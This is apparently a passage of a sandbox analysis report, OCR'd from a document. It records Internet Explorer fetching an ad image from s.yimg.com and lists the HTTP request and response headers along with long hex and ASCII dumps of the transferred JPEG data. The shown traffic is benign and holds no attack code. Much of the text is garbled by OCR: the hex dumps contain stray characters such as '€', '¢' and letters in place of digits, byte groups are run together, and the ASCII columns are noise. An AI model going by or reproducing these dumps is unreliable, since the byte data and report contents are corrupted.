Data Raw: 9a 88 91 fb ca bf €6 a8 98 73 21 4c f5 6a 87 cc 4b ce ad Oa c7 27 17 Oa ea a5 9f 89 c4 df 92 1b 0d 9a b5 el cb
7f ¢5 96 02 ee d1 be 5f 71 46 d8 51 b6 fc 8d 69 0f 24 f2 92 e0 c0 f8 1e 8b e3 e4 2b d9 f9 d9 1c 31 2c b2 a0 60 08 38 20 31
eb 4f 66 6e el Oe cc d3 07 Ob e6 a3 e5 45 9d a2 05 f9 1e b5 dO 1c Oc 79 d3 24 64 75 1d 48 a6 77 89 59 9f 21 b0 00 ab 71
6e fd 9d 77 13 eb d7 95 35 8e al 63 3a 4d 6f 2c 6¢ 79 32 f6 €7 d4 1e 84 le 44 54 da 76 b8 22 dd 71 6b bl 9e 27 2b c9 e
27 1d bd 1a b9 d6 7f 47 ff d9

Data Ascii: sILjK'_qFQi$+1,"8 10fnEy$duHwY!gnw5c:Mo,ly2DTv"gk'+'G

Destination IP Destination Port Process

87.248.118.22 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes
Timestamp transferred

2021-12-03 00:05:28 UTC 15

2021-12-03 00:05:28 UTC 44

2021-12-03 00:05:28 UTC 45

2021-12-03 00:05:28 UTC 45

2021-12-03 00:05:28 UTC 47

2021-12-03 00:05:28 UTC 48

2021-12-03 00:05:28 UTC 49

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /lo/apilres/1.2/iAvCAcyDWcfqsOLN3M2FRQ--~A/Zmk9ZmI0O3c9NjlyO2g9MzY 402FwcGIkPWdlbWIluaTtxPTEWMA--
/https://s.yimg.com/av/ads/1622781899594-470.jpg HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: s.yimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 100219
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Origin: *

Cache-Control: public, max-age=2592000
Content-Type: image/jpeg

Edge-Cache-Tag: 406696687189499147052184604232487996418,444071775025019603777525119764716296813,ae7a
14591aaf8d474cdb3f92111c923e

Etag: "bce9e9f51ceb37fdce38c85e15b01e0d"
Last-Modified: Sat, 05 Jun 2021 04:55:15 GMT
Server: ATS

Timing-Allow-Origin: *

Accept-Ranges: bytes

Date: Fri, 12 Nov 2021 06:48:34 GMT
X-Served-By: cache-dcal7778-DCA

X-Cache: HIT

X-Cache-Hits: 1

X-Timer: S1636699715.843556,VS0,VE1

Age: 1790214

Strict-Transport-Security: max-age=15552000
Referrer-Policy: no-referrer-when-downgrade
X-Frame-Options: SAMEORIGIN

cld_cache: HIT

cld_hits: 1

cld_by: cache-dcal7778-DCA

cld_latency: 1

Connection: close

Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01
010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101 010101 010101010101 ffdb 004301 010101010101010101010101010101010101010101
010101010101010101010101010101010101010101010101010101010101010101010101010101
010101 01 ff cO 00 11 08 01 45 02 6e 03 01 11 00 02 11 01 03 11 01 ff c4 00 1f 00 00 00 05 05 01 01 00 00 00 00 00 00
00 00 00 00 00 02 03 04 05 01 06 07 08 09 Oa Ob ff c4 00 4a 10 00 01 03 02 05 01 05 05 06 04 04 05 03 03 03 05 01 02 0
3040511000607 12 21 31 08 13 41 51 61 14 22 71 81 f0 09 32

Data Ascii: JFIFCCEnJ!1AQa"q2

Data Raw: 08 b8 2c be 5f 1f 2f da 03 16 6b 73 18 4f 97 c7 cb f6 aa 4f 16 b9 fc 3f b9 fa f9 63 6¢ b9 60 7b cd eb 54 18 50 73
57 ¢294 43 c0 7a 71 f9 93 fb fd 78 d0 b0 17 66 el e3 ed b2 d3 f5 e5 44 2d c5 fd 6d f9 62 €8 95 6b 94 ac 79 7b df b5 bf 3¢
4399 23 36 d4 {7 f3 €6 a6 69 1c 65 1b 9f 9 8¢ 16 5f 2a 37 13 b8 43 04 f9 7c 7c bf 6a b6 €0 9b f4 b6 Oa ae 6e 58 ac aa 60
aa 8d fe 5e 9e 37 fd 7c 3e 58 2d 9a cc a3 36 fa f7 54 5¢ 16 46 e7 99 f5 43 05 08 60 88 60 88 60 88 60 88 72 3a 75 c1 10
6d 6a 2e 5¢c 8b 80 47 23 d2 fe 18 29 14 33 ¢5 39 54 b4 5¢ 27 62 b8 16 bf 99 f3 b7 5f 2f 3b e0 b4 18 83 50 52 6b 52 55 73
7b 78 f4 27 a0 c1 64 aa 25 20 58 6d 57 4b 78 7e c6 f8 2d 18 fc 9d ef 14 d3 fb ba a3 ae 25 ¢5 05 24 11 c0 16 22 d6 b7 f5 c3
bb cf a2 ab 9f f3 36 da 85 Oe f5 5b 76 fe

Data Ascii: ,_/ksOO?cl'{TPsWCzgxfD-mbky{<C#6ie_*7C||jnX A7|>X-6T\FC"**'r:umj\G#)39T\'b_/;PRKRUs{x'd% XmWKx~-
%$"6[v

Data Raw: 7a 11 4b 75 18 a5 2a f7 d2 cb ae 9f 6a 82 bb 06 de 86 fb 4e 34 54 93 8e 67 7d c7 99 5d 4d 32 dO 7b d9 5e 38
85 64 30 44 30 44 30 44 30 44 30 44 30 44 30 44 b2 52 92 42 b9 03 fb fc 7e bf 52 23 60 88 60 88 60 88 60 88 le 41 1le 78
2209 el 25 3d 7a 7e 47 04 43 04 43 04 43 04 43 04 43 04 4b 82 0f 23 f3 ¢1 1512 77 Ob f4 c1 11 b0 44 30 44 2d 6e 98 22
182218 22 18 22 18 22 18 22 18 22 b5 f0 44 30 44 30 44 30 44 30 44 30 44 30 45 5f 4b f1 88 30 2a 40 f0 52 4f d3 02 86
b5 d5 Oe 7a f3 e5 5 fa db 14 69 6b b1 01 00 41 81 a6 9c a9 fb 24 f0 59 86 11 52 4f 1b c1 8b 57 f4 81 37 b7 16 e2 df 1f 5¢
74 e2 88 ch b9 12 69 Ob 42 66 38 00 3c 15 31 92 84 64 5e fc 1b 78 f1 85 d1 38 26 c0 aa fc 12 78 fc ef fe df 89 e4 62 8d 61
04 92 e2 45 ee 6f d7 cc 6b bc 22 2a 7d e3 60 46 37

Data Ascii: zZKu*jN4Tg}JM2{"8d0DODODODODODODRB~R# " Ax"%=2~GCCCCCK#wDOD-n
DOE_KO0*@ROzikA$YROW?7\tiBfg<1d"x8&xbaEok™} F7

Data Raw: dc fa ac Ob 61 ¢7 cc 69 a5 7c 15 37 01 2 31 08 aa 93 7b 11 f2 f9 63 46 el 97 Oe ed e5 7d 15 99 47 08 54 52
4d c5 c7 3c 75 f2 f2 fe d8 d3 2e 5a 42 d9 1b ca dc 58 78 79 f8 9f de f8 d0 00 70 df 41 39 5d 5d bf 1f 8a ab 06 92 d2 74 02
75 ac 77 e2 87 79 b4 80 53 ba fd 09 3d 3f 23 d3 ae 38 ¢5 08 3b 2c b3 b7 8a a0 c6 9f 33 87 9f €9 49 73 Oc cf d5 42 2a Oc
db 74 31 42 e7 3a e4 95 8a a5 c5 f6 f8 e2 11 15 07 df 37 e4 6e 02 df 15 5b 04 4b 2c {7 46 e4 03 ba 6 b1 e8 3f 0f 86 Ob a0
bb 25 6d fb 13 ca c8 9d 79 b5 bd 3c af el 8b 35 a5 ¢6 02 5e bb aa 8 7¢ 7e bf 1f db e3 8d b0 fO dd 84 ec c6 60 9e 91 cb be
68 91 22 ea f2 dc 6¢ Of c2 cO fa 9b 13 8b 38 cb 89 dc a2 6f 21 f6 22 34 5f 98 fb 30 d9 48 ba de 96 eb 51 da 41 e6 €9 53 8e
ad 29 b8 bl b8 bf 07 ad b1 66 34 d0 91 7b 6f

Data Ascii: ai|71{cF}GTRM<u.ZBXxypA9]JtuwyS=2#8;,3IsB*t1B:7n[K,F?%my<5|~"h"I80!"4_OHQAS)f4{o

Data Raw: bc eb df e9 68 c6 6e 24 ed b7 3e fd 53 a0 84 8e 89 le le le 5d 3a e2 d0 36 1le 0a 60 6¢ 3c 11 94 9d ff 00 78
6e b7 a7 4b e1 03 61 e0 a4 80 68 6b cd Oe ec 70 08 b7 1c 70 7a 7c bl a0 61 6d 46 51 cb de 88 9b 14 ad 44 84 f0 15 ee
b6 4f 1e 7 04 Ob 9b 7f 94 15 72 7a 75 f1 c4 12 ea 82 e2 7a 98 a7 Oe 08 ae 2d 3e ca 4d 6a 88 ad 34 8a b4 aa 5d 32 3b 6b
8d 45 9b 09 4d b7 50 ac d4 23 17 7b f9 2c 2d c6 de 6e 25 19 Oe 84 c5 6e 4e c7 a4 cd 71 0f 3a ca 18 8e d3 4e bf 0d 30 64
80 46 b3 68 9f 61 d8 55 ce 19 4a 12 6¢ Oc 13 5b 7e bd el 61 a9 59 2e 9d 47 a8 ca 89 53 8a 5 4a b7 06 64 a4 3e f5 71 {7
2a 8f 24 25 d2 87 94 da 27 29 d6 db db ff 00 71 87 7b 86 c2 90 94 90 81 c6 3b 5b 04 07 01 1b 2e 47 97 66 33 20 fb 75 e4
14 9e c8 e1 90 d0 2d b2 1a 74 2d Oc 21 bb 34 f2 5a 45 db Oa

Data Ascii: hn$>S]:6'I<xnKahkppz|amFQDOrzuz->Mj4]2;KEMP#{,-n%nNg:NOdFhaUJl[~aY.GSJd>q*$%")qf;[.Gf3 u-t-14ZE

"'DODODODODO
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 50 IN Data Raw: a0 52 6d 23 be 1f d5 8e 47 6d e6 13 b2 84 a9 03 a0 36 2 ea Of 5f db cb a5 f1 9b 30 1c 07 d5 59 06 fc eb c4 9d
29 3¢ 16 c3 €9 b5 39 6b cf 74 9f 74 2d 6d a9 3e 43 71 4f e8 3e 1d 7f 1c 68 58 59 47 1e a4 cc 77 7f da 99 22 c6 13 80 ca
8a 92 94 a5 27 77 8a 4a 14 47 17 e0 13 75 1f Of 76 fc f1 7c 40 69 75 b8 77 d5 08 22 fa f7 d3 c9 63 ad 41 d5 ed 28 d2 5a
63 f5 9d 4a d4 3c a5 92 29 b1 d0 b7 1d 91 98 6b 50 69 ea b3 68 2e 10 88 ee bc 99 2b 52 85 d2 94 a5 a2 77 5¢ 75 b6 34
63 37 13 b0 ba cc e2 35 b7 9e 9e 7e 1c 97 22 b5 fb ed ef ec 45 a4 a9 9b Ob 24 54 3 26 b5 57 €3 25 c0 dc 5¢ 9d 4b 92 cd
20 ad bf 77 62 eb 72 5a 44 52 82 €5 80 5a 42 {7 a3 de 4d 8 38 df €5 9d c0 f1 88 8e 1f 8b 2a fc d1 c3 ff 00 90 5a 51 d9 b7
ed 7c ed 25 db b7 b4 1d 4b 25 65 bc 9f 97 74 5b 40 b2
Data Ascii: Rm#Gm6_0Y)<9kit-m>CqO>hXYGw"wJGuv|@iuw"cA(ZcI<)kPih.+Rw\u4c75~"E$T&W%\K wbrzD
RZBMB8*ZQ|%K%et[@

2021-12-03 00:05:28 UTC 52 IN Data Raw: 88 60 88 60 88 60 88 60 89 44 05 Oe bd 0f 23 a7 a7 cf 04 46 db ef 6e bf cb e5 6f ae 30 44 6¢ 11 0f 97 €9 fd 70
44 30 44 30 44 30 44 30 44 30 44 60 92 ab db c3 cf 04 55 d8 7d 3f 3f €9 82 21 b0 fa 7e 7f d3 04 43 61 f4 fc ff 00 a6 08 8e
94 db 9f 1b 60 88 d8 22 b3 f0 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44 30 44
30 44 30 44 30 44 30 44 07 a7 d5 f8 ¢4 82 d1 57 09 02 d3 be 85 12 8a 2a 48 b5 ac 45 85 fa fe 57 b7 a5 fa 7e 38 a8 ¢5 39
b2 c8 c9 59 14 82 6e 2f a4 a8 71 21 a4 8b 88 d7 8f 7a 22 80 a5 75 f1 ea 6d c7 1e 5f a6 28 {7 49 20 5b 85 b7 f2 58 1f a8 c9
a9 4b Oe 00 17 bd b8 f9 62 al 8e 22 42 19 1a 1f 2f 72 10 e9 89 01 e2 82 dd 15 4d 44 16 98 €9 f9 55 17 dc 9f 2b f3 d3 e5
eb f5 6¢ 4e 57 39 c0 1d 69 34 81 3e 03 cd 59 80 34
Data Ascii: = D#Fno0DIpDODODODODOD U}??!~Ca™D0D0D0D0D0DODODODODODODODODODODODODODW*HEW~
89Yn/q!z"um_(I [XKb"B/rMDU+INW9i4>Y4

2021-12-03 00:05:28 UTC 53 IN Data Raw: 9f 50 cc 39 3b 4c 6b d1 9f 9b 1c 50 25 ad d9 95 3a 25 2d f9 b2 3b 88 2c d1 f7 a9 aa 7c 68 c5 26 34 10 db 48
40 65 a4 24 60 f9 Oe 6b 58 72 cd €0 6d ae f6 9b 73 35 5d 07 04 Oc 3c el c2 44 53 43 bc 6d c2 91 48 a2 e7 1c 2c ab a3 la
c2 ed b2 9d 69 3a 45 9e df b3 63 2c 66 a7 42 f2 9d 4a 67 0a 53 54 da al 71 46 9e 56 e7 f2 c3 2e 10 94 dc 8d 96 e7 1d 06
21 b1 7ff2 ef cb a4 ac 08 04 55 58 59 df 48 73 ee 9c 3e d4 7c e5 97 5e 84 c3 e4 7b 15 4d 93 ed b4 4a 9b 4b bd 9d a7 d5
2397 61 b8 95 5 6d 05 c6 de ff 00 53 69 e2 f0 97 52 ba 2d ad ba cb d9 ef 36 45 ce 5a 23 a9 19 8b 4e ab 71 9d 44 85 la
3c e7 3f 8554 90 9b af b9 ab 51 1c 70 d3 ea 0d 3a 54 12 ea 5d 6¢ 38 6d ee ac Ob 5a 20 1d 2c 80 e4 12 3f c6 a0 72 d3 db
d17a 51 ec 89 ff 00 10 e2 1b 44 Oc a3 db 33 24 2e 22 c2
Data Ascii: P9;LkP%:%-;,|h&4H@e$ kXrms5]<DSCmH,i:Ec,fBIJgSTqFV.IUXYHs>|MJK#amSiR-6EZ#NqD<?TQp:T]I8mZ
,2rzQD3%."

2021-12-03 00:05:28 UTC 85 IN Data Raw: 05 77 3b bl 77 68 7a 5e a3 65 2c b9 5a 85 35 4f 33 2d 94 al 6b 5a 8a 1e 66 4b 24 bl 2a 14 bl 7f e5 48 8d 21
2a4b cd 2f de 4d d0 4d c9 27 1c 2e 6b d8 64 df a7 2b 2c 1a 21 a0 70 5d e5 d0 6d 48 7a 23 f4 f6 5¢c 79 23 bc ee 8b 6b ef Of
03 8d a9 b2 6d 7f 4f Of f3 5e f8 35 f5 ad bc 3b d9 5d al b9 81 3a 5b 7 dd 3c 57 47 33 d5 35 9d 41 c8 d1 b3 54 66 5b 7a ab
97 58 b5 41 94 25 2a 72 5d 2a c5 4e 14 8e 55 de ¢5 50 12 1a 5a 6d 60 16 0f 18 d9 8e Oc c4 90 61 af b6 dc 75 8e 46 57 5b
a5 ec 96 5d b3 20 54 fe bc a6 45 24 2d 6b 64 2d 4b 6¢ b9 bl c5 3f 6d 8d 80 af e4 88 ea 42 12 f2 d4 b7 82 42 9d 4f 74 e2
96 80 52 94 28 28 78 5b b9 71 09 d4 41 ad 3a a7 09 ef 12 e2 9a 92 7b ce 43 80 32 3b c6 4b a9 71 68 da 54 2c 09 dc 41
dc 0f bc 0d c0 3¢ 9¢ 14 a7 01 28 05 25 d5 25 94 8b 29
Data Ascii: w;whz”e,Z503-kZfK$*HI*K/MM' kd+,!p]mHz#\y#kmO"5;]:[<WG35ATf[zXA%*rI*NUPZm auFW[] TE$-kd-KI?
mBBOtR((X[gA:{C2;KghT,A<(%%)

2021-12-03 00:05:28 UTC 87 IN Data Raw: 39 df 59 cb 58 d2 4e be b6 f6 53 87 {7 7f f6 9f 64 b3 6d 97 15 ca 15 6b 1f 7b 75 b9 16 00 73 61 d5 43 81 e7 8d
1b 80 30 ce 6b dc 46 6f cO 07 d5 6a ac cc f1 a9 fa 6b a5 f4 a7 ea da 91 9f f2 7e 47 a5 c5 46 7 a6 e6 7a fd 32 8e 86 7a fb
ca 6e 74 96 de 58 00 72 1a 42 cf 97 38 d4 b8 90 46 53 a7 af 2e 6a a5 c0 4c 39 b2 Oe b2 78 d8 56 a2 dc 6e b9 43 ae 1f 6f
0f 61 1d 28 33 a9 99 32 bf 98 75 cb 31 45 ef 99 6a Oe 9d d1 a5 ae 86 ec a6 d4 52 10 e6 67 a9 26 2d 21 0d 29 49 5f f3 1b
71d2 07 29 51 16 49 b8 63 dc dd 85 38 18 8e 73 e0 09 el 70 b1 76 38 1f 4d 33 79 53 78 b7 22 64 f1 aa €3 b6 b9 7f c4 2d
da 87 3b 99 14 dd 0f d3 cc 81 a2 d4 b7 12 eb 6¢ 56 eb 48 7f 3b 6 c2 85 92 5b 5d 8b 94 ea 44 47 d1 6e 36 89 6d 05 28 1b
10 8d aa d4 61 b0 b4 02 24 70 91 eb 3a f0 aa al c5
Data Ascii: 9YXNSdmk{usaCOkFojk~GFz2zntXrB8FS.jL9xVnCoa(32ulEjRg&-!)I_q)Qlc8spv8M3ySx“d-;IVH;[[DGn6m(a$p:

2021-12-03 00:05:28 UTC 88 IN Data Raw: 6e 9f f6 80 cf b1 5a dc el 92 de 5e ca 39 3e 2a d8 01 65 4f a5 9c cf 98 85 50 00 a0 82 94 bf 09 b5 14 a8 d9 be
2e 339 a2 48 d7 ad 2b ad b9 Ob 75 40 d2 75 9e 14 el cb 5e ca 88 a4 fd ac 3d 9e 25 4b 76 26 63 d2 5d 76 ca 51 90 a0 94
cf 09 c8 79 98 82 41 09 51 85 4e af 44 97 b7 ee 9d ad 77 84 26 e6 d7 16 c6 dc 91 6¢ 56 46 ed c9 d8 ff 00 51 1d 6e 15 2f
59 a2 e5 1a c4 b5 36 cb 34 bd 4e a0 d5 b2 12 d2 fa 81 28 42 eb 73 d8 73 2d 28 2c 02 a0 55 58 6d a4 ab 85 38 93 d5 dc
d1 16 d4 36 93 3a 03 55 9a 74 c¢8 35 7a 2c 94 al 51 6b 14 59 51 2a f4 b9 6¢ 94 8d 8b 8d 51 a6 bd 2a Ob cb 76 el 49 08
92 a2 a4 90 bl ee 7b c6 24 4c 4d 51 24 d9 4b bc dc 5¢ 82 9b 71 75 78 82 02 bc d3 d6 ¢7 af ¢3 12 89 da 57 dd 12 92 0a d2
bd a0 dc 71 74 fb al 26 e0 8b 26 d6 23 94 f1 cd f0 45 e4 cf
Data Ascii: NZA9>*eOP.3H+u@u"=%Kv&c]vQyAQNDW&IVFQN/Y 64N (Bss-(,UXm86:Ut5z,QkY Q*IQ*v{$SLMQ$K
\QUXWO&&HE

2021-12-03 00:05:28 UTC 89 IN Data Raw: 83 cO b7 82 48 bf 41 d2 c2 ¢3 05 60 c6 8b 03 3a 12 64 8d 35 eb e2 9c 2d a4 5¢ 27 9e be 02 e7 9e 49 b8 1f 3f c7
05 27 e8 8c c4 d6 d3 5e 1b 4a a0 65 29 50 b6 fb 1b 78 1e 6d e4 Of 5f af 99 49 90 d9 8b 89 1c 69 4f e5 12 a5 b4 ac 1d 85
44 81 7f 2e 79 b7 €7 d4 f5 c1 73 3c ¢9 92 e7 0a 8a 02 40 91 c1 37 73 bc 74 a0 al 05 4b 70 a5 08 43 68 52 dc 5a b7 04 00
86 d0 Oa d6 4a f8 01 29 25 57 b0 f2 c4 17 65 e7 7f 0a c9 fe 29 Oe 20 18 39 a4 18 cd f5 69 5e f4 59 ff 00 23 76 6b d5 1c e8
€3 7569 14 a6 72 7e 5b 42 b7 bb 98 33 a3 c9 a2 41 5b 66 c9 2a 89 1e 5a 51 2e 62 c1 3b 92 86 9b 7 f8 48 23 75 c5 3f ee
79 4d ac 6f ca 17 4e 1d 30 c4 b8 e7 37 af 10 68 2f 6e 31 ce 65 67 f8 1a 41 al 7a 5b 01 8a c6 6e a8 c8 cf d5 26 54 ab c9 af
1397 72 81 71 bb ad 0d 43 a6 25 4b aa d6 db 49
Data Ascii: HA™:d5-\'I?"Je)Pxm_liOD.ys<@7stKpChRZJ)%We) 9iY#vkuir~[B3A[f*ZQ.b; H#u?yMoN07h/n1egAz[n
&TrqC%KI

2021-12-03 00:05:28 UTC 90 IN Data Raw: 79 9f 2b 88 3a f0 5d 24 b5 ac 05 a0 4b a8 4f 2a c7 49 bf 11 35 5b 11 99 72 4a 05 41 ¢5 25 8b 23 7b al ad €9 1d
47 bc 00 48 dd ef 6d 50 37 2a e4 72 05 8e 3b 80 80 06 cb 12 41 d2 ba 99 f6 58 a2 ad 97 e4 c6 f6 86 1c 47 f2 5¢ 4a 92 5b
53 7f ca 52 17 70 42 90 41 42 81 41 37 04 10 al d7 12 aa b1 7c 1e d0 9a b7 d8 e7 da b3 b6 8c ea 66 64 d3 97 24 4d 62
4b 99 72 94 2 6a 19 2b 35 cc 88 56 fa 20 66 6¢ 8f 55 4¢ 9¢ b5 54 83 25 4d 06 6a 2e b7 Oe 1d 55 c8 6a 71 a8 f5 48 8e 16
1c 46 79 Oc 97 5c d8 56 e0 df 80 31 c1 41 76 51 39 5c¢ ef f8 8d 7f 1e fa ae 9e 6 21 fb 7f 34 93 59 2a 19 5f 49 bb 6a d1 a8
1d 9c b5 7e b0 fd 3e 85 4a d5 fc bf ed ea ec dd a8 15 €9 Ob 7a 34 46 a6 49 a8 3d 2e b3 al 95 5a cb e2 2f 73 4f cd 92 6a f9
3d 33 ea 10 €8 94 bc e5 3a 6a 83 4b b4 e5 1f 51 a5
Data Ascii: y+:]$KO*I5[rIA%#HGHMP7*r; AXG\J[SRpBABAT7|fd$MbKrj+5V fIULT%M.UjgHFY\VIAVQOI4Y* _|j~>Jz4F
1=.Z/sOj=3:jKQ

2021-12-03 00:05:28 UTC 92 IN Data Raw: f6 1e 88 e2 e7 47 d6 e0 06 8d 81 ed 3e 04 2d 17 72 1b 72 e4 b9 51 96 b7 aa 15 49 2a dd 2a a3 50 75 f9 d5 29
04 5e c6 55 4a 52 de 9f 24 dd 4a 3b e4 49 71 45 44 92 a2 71 a8 80 22 04 Ob 79 68 08 02 bc 10 08 b9 27 89 32 68 77 bf 8¢
f2 52 2b 64 6d 51 4a 6d 7d 81 5d 76 9d bd 0d b9 00 8 f1 6b f5 c1 57 28 99 b1 d4 8e 31 al a6 81 2c a6 8d 80 e8 05 8f 80
e9 el f3f8 61 eaac 27 73 e5 ec 02 07 68 50 50 4f 24 58 dc 71 c7 9f ec 7c 70 44 a8 36 49 b5 89 3e 03 c3 91 eb e9 el e7
82 b1 63 cb 65 b9 74 bf 3e 88 a5 4e 5b ee d8 f1 ef 78 80 0d ae 00 eb cd af 70 00 e7 9c 16 5f 16 09 18 73 bd 72 d2 45 3f
37 b9 53 14 7c bb 58 cc 93 9a a6 d0 29 55 3a dd 41 65 29 4c 2a 54 47 66 49 ba d5 b5 4a 53 6d 02 50 84 9e aa 5a 90 90
0d c9 b6 28 e7 65 e5 52 7b fe ac 8f c4 62 10 1a 1a dc ad 80
Data Ascii: G>-rrQI**Pu)*UJR$J;IqEDq"yh 2hwR+dmQJIm}IvkW(1,a'shPPO$Xq|pD6I>cet>N[xp_srE?7S|X)U:Ae)L*T
GflISmPZ(eR{b
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 93 IN Data Raw: be dc f5 bd 03 ec ed 91 fb 21 e9 a5 61 fa 3e a4 76 b7 62 ba fe al d6 a9 ce ad aa b6 5d ec el 95 26 33 0f 33 d3
18 92 c3 ec bd 05 fd 51 af bf 03 27 ba f8 ff 00 aa 56 5b 6b 30 3b 08 b6 a0 a5 e2 8e a9 6b 41 89 92 e8 30 43 44 4f 1a c8 6d
08 23 36 61 21 a5 5d a0 e5 73 b5 00 b5 ba fd 6e 04 36 90 41 8a ba 08 2d 31 94 dd 78 8a a6 4d 84 a8 ec 40 Oc b7 1e 34
76 9b 6a 33 4c a0 36 d3 0d b0 da 5a 69 a6 9a 48 42 50 db 6d al 28 6d 08 48 4a 42 40 b0 b0 b5 d7 37 fd be 2f d5 98 83
9a 21 c6 4b 84 5e Oc ea 6f 75 98 34 ab 54 73 9e 89 67 8a 7e 7b c8 8f 36 b9 0d 16 23 55 68 d2 de 71 34 7c d7 97 fb ce f6
6e 5e ad al 29 74 98 af 20 b8 ec 19 68 69 d9 14 9a 87 73 36 3b 6e a0 3f 1d {7 0d 3c fc fc f7 e7 04 54 bf 13 0f e5 el 80 dc
al c6 66 e4 132403 a7 02 04 837040 20 fa 11 d1 17
Data Ascii: la>vb]&33Q'V[k0;kAOCDOm#6al]sn6A-1xM@4vj3L6ZiIHBPm(mHJIB@7/!K"oudTsg~{6#Uhqg4|n")t his6;n?<
Ti$p@

2021-12-03 00:05:28 UTC 94 IN Data Raw: 6¢ 11 54 0b 90 0Oe 08 97 ¢1 10¢110¢110c¢110c1 10c1 10c110cl1 10 cl 10 cl 10 cl 15 9e 48 00 9b 1f c7
fb 62 99 07 1f 2f c2 22 05 dc 8e 3e 77 f9 f9 63 67 3c bc 00 40 11 a8 bd a2 fe 88 8f f5 2 fc 3¢ 3c 71 93 a5 a3 e9 ac 6f 3b 52
de 68 86 24 54 03 b8 08 86 25 10 c1 10 c1 10 c1 10 b1 1d 45 b0 53 06 27 44 e5 09 51 00 00 a2 4a 6¢ 2c 09 3c 8b 70 3c
79 b8 fc 7c 71 04 48 23 75 0a d7 ce 9a 8b a7 fa 5d 44 91 98 b5 27 3c 65 2¢ 87 43 88 d2 df 91 52 cd f9 86 93 40 8c 86 da
00 ba e2 4d 46 5b 2e b8 da 6e 00 ee d8 5a ca 8d 80 37 e0 c6 39 a0 b6 a6 4c d4 46 90 35 a4 69 55 05 ec cb 20 d4 4f 23
13 d4 6d b7 55 c8 bd 76 fb 7a 7b 06 €9 12 e6 d2 72 0d 5f 39 76 8a cc f1 bb dO dc 3d 2c a2 25 59 5d 4f 34 56 95 21 59 ea
ba f5 2f 2f 2d 1d e2 42 08 8c fb cf 83 ba cd 28 Oc 6a 30
Data Ascii: ITHb/">wcg<@<<qo;Rh$T%ES'DQJI,<p<y|qH#u]D'<e, CR@MF[.nZ79LF5iU O#mUvz{r_9v=,%Y]04V!Y//-B(j0

2021-12-03 00:05:28 UTC 96 IN Data Raw: 1a 5b 9a a3 2d 72 b2 d6 67 ¢8 55 55 a0 25 46 al 95 35 1a 91 1d d5 Ob 15 dc 26 5¢ 9a 44 c2 50 92 9b a3 62 56
85 a8 8d a4 8b e3 75 43 89 97 €9 05 a7 40 44 d6 29 c2 fd 2a 99 d5 28 1a d2 b4 b8 dc aa d6 62 79 21 a6 db 2a 7b 50 19
94 84 b4 f1 da 1b 69 ¢7 73 0a d2 9e fO 5d 36 49 4a 1b 49 37 3 09 23 58 ea b5 0f 6b 80 10 43 c5 0d 29 37 f4 ea ba 93 d8
0f 5a eb f4 88 b1 b4 ff 00 37 cc 40 cc 79 5¢ b0 d2 1c 15 5a 75 51 55 3a 0a 9c 2d c0 a8 be e4 19 72 0b 92 18 52 95 Oe 40
75 ce f4 b8 86 9¢ 50 21 57 34 7b 3e 60 82 eb cf 3e €9 e0 a9 8a 3e 5b 43 ¢7 03 1a Oe 94 3d 95 €9 77 43 35 23 6a €0 4a 6e
42 56 52 59 00 05 af 96 55 61 ef 58 f0 52 05 89 51 b8 3e 36 eb c8 ec 0f 94 d2 41 26 35 3c 48 bc 56 fe 36 a2 b0 32 01 34 of
59 5d b7 d2 8c c3 4e d4 7c 93 2b 27 d5 1e 6¢c a2 a3 17 75
Data Ascii: [-rgUU%F5&\DPbVuC@D)*(by!*{Pis]61J17#XkC)7Z7@y\ZuQU:-rR@uP!W4{>">>[C=wC5#jInBVRYUaXRQ>6A
&5<HV624Y]N|+u

2021-12-03 00:05:28 UTC 97 IN Data Raw: df be 3f ¢5 ca e7 10 20 34 57 5a d2 79 1b cd a6 14 3b 01 be e8 a5 69 de a0 02 95 d7 71 55 ef e2 7c ba 58 7a
€2 26 b4 a7 22 b2 46 ef dO d2 48 08 d8 95 12 4a 8f 23 77 8f dO f1 b5 b1 08 a2 66 2f bb 43 af 14 a8 a3 6f 36 b1 2a ff 00 db
el 6f cc 7c f0 45 8f 66 96 f7 ad d5 25 5f cc bd c8 2a b5 cf 1e bd 6e 2c 0f 00 75 c5 4f da 67 fd be d7 5d 98 7a f4 5e c5 be
c8 1c ab fe 17 ec Of a4 4e a9 b2 db 99 b2 4e 69 ce 6a 51 4e c5 a9 ba fd 7e 74 a6 54 al ea c8 6¢ 24 9e 76 a4 5b cf 1e Oe
36 59 al 34 90 27 b9 fd 9e ab d5 f8 60 3e 5d f5 af 51 22 06 dd d5 74 9d c5 Oe 9c f9 93 ¢9 €9 d7 c3 eb d7 1c e3 8d d6 €9
3ef07fa8fe 7822 09 7093 c1 3c 7a f5 1e 44 79 1c 11 2e 17 b8 f4 b7 f6 c1 11 b0 44 07 04 1f 2c 11 2¢ 16 54 a3 c0 1le 3¢
7c b0 44 6¢ 11 2¢ 91 60 3d 79 fc b0 44 6¢ 11 Oc
Data Ascii: ? 4WZy;iqU|Xz&"FHJI#wf/Co6*0|Ef%_*n,uOg]z*NNijQN~tTI$v[6Y4">]Q"t>x"p<zDy.D,,T<|DI, =yDI

2021-12-03 00:05:28 UTC 98 IN Data Raw: 9b 85 Ob f4 00 Of 21 e3 e5 82 b3 f2 bf fc 88 d2 22 68 38 f1 da 2c 9a b8 a4 b9 b5 24 59 37 26 cO 75 e9 d7 eb el
